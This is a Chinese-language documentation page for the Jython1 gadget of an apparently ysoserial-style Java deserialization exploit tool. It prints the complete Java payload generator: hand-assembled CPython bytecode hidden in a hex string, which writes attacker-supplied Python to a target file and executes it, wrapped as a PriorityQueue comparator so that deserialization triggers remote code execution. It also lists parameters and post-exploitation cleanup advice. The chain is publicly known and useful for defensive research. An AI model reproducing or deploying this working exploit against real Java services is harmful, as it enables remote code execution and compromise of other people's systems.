- 类别:javanative 别名:— 优先级:—
- 作者:pwntester、cschneider4711
- 依赖:
org.python:jython-standalone:2.5.2、(间接)commons-io(FileUtils)
借助 Jython 的 PyFunction(实现了 Comparator)作为 PriorityQueue 的比较器,在 Java 原生反序列化触发 PriorityQueue.readObject → siftDown → comparator.compare 时,执行一段预置的 Python 字节码——该字节码把攻击者提供的 Python 源码写入目标文件并 execfile 执行它,实现 RCE。是经典 ysoserial Jython1 的移植。
- 入口
tags:JavaNativeDeserialize、ENDJavaNativeDeserialize—— 承接 Java 原生反序列化入口(readObject)。END—— 自成完整链尾,不再衔接其它 gadget。
- 衔接
nextTags:无。 excludes:无。
public PriorityQueue getObject() throws Exception {
String python_code = null;
if (this.pythonCode != null && !this.pythonCode.isEmpty()) {
python_code = this.pythonCode;
} else if (this.localPath != null && !this.localPath.isEmpty()) {
python_code = FileUtils.readFileToString(new File(this.localPath), "UTF-8");
} else {
ThrowsUtil.throwNotFoundOptionGadgetException("'pythonCode' or 'localPath'");
}- Python 源码来源二选一:直接给
pythonCode,或从本地文件localPath读入。二者皆空则抛异常。
String code = "7400006401006402008302007D00007C0000690100640300830100017C0000690200830000017403006401008301000164000053";
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(this.targetPath),
new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names,
new String[]{"", ""}, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
PyFunction handler = new PyFunction(new PyStringMap(), null, (PyCode)codeobj);- 手工拼装一段 CPython 2.5 字节码
co_code:其反汇编等价于f = open(targetPath, "w+"); f.write(python_code); f.close(); execfile(targetPath)。consts提供字符串常量(写入路径、打开模式、待写源码),names提供全局名open/write/close/execfile。 - 用该
PyBytecode构造PyFunction——关键点在于PyFunction实现了java.util.Comparator,其compare会执行函数体字节码。
Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(),
new Class[]{Comparator.class}, (InvocationHandler)handler);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}- 这里并未直接把
PyFunction当比较器,而是再用动态代理把它包成Comparator(PyFunction本身可作InvocationHandler)。 - 反射把
PriorityQueue的底层数组queue直接置为{1, 1}并把size设为 2,绕过add()(避免构造期就触发compare)。反序列化时PriorityQueue.readObject会heapify → siftDown,对两个元素调用comparator.compare(1, 1),从而执行预置 Python 字节码。
invoke 直接返回 getObject(),不依赖下游(END)。
| 字段 | 名称 | 说明 | 默认值 | 可选值 |
|---|---|---|---|---|
pythonCode |
python代码 | 直接给出的 Python 源码(requires=false,与 localPath 二选一) |
— | — |
localPath |
本地 python 代码文件路径 | 从本地文件读取 Python 源码(requires=false,与 pythonCode 二选一) |
— | — |
targetPath |
写入目标文件路径 | 目标机上写入的 py 文件路径,同时也会被 execfile 执行 |
py_tmp_file |
— |
- 依赖
jython-standalone:2.5.2(预置字节码为 CPython 2.5 指令,绑定该版本)。目标 classpath 须存在 Jython。 - 触发面为 Java 原生
PriorityQueue.readObject,因此可直接作为完整链用于任何允许原生反序列化的入口。 - 副作用提示:会在目标磁盘
targetPath落地一个 py 文件(默认py_tmp_file),利用后需清理残留。 - 与
CommonsBeanutils1同属「PriorityQueue+ 恶意Comparator」家族,但此处Comparator直接就是执行体,无需再接 getter sink。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 同族(
PriorityQueue/Comparator触发模型):CommonsBeanutils1(比较器触发 getter,而非直接执行)。 - 入口标签
JavaNativeDeserialize与各 Java 原生反序列化 Payload 入口对接。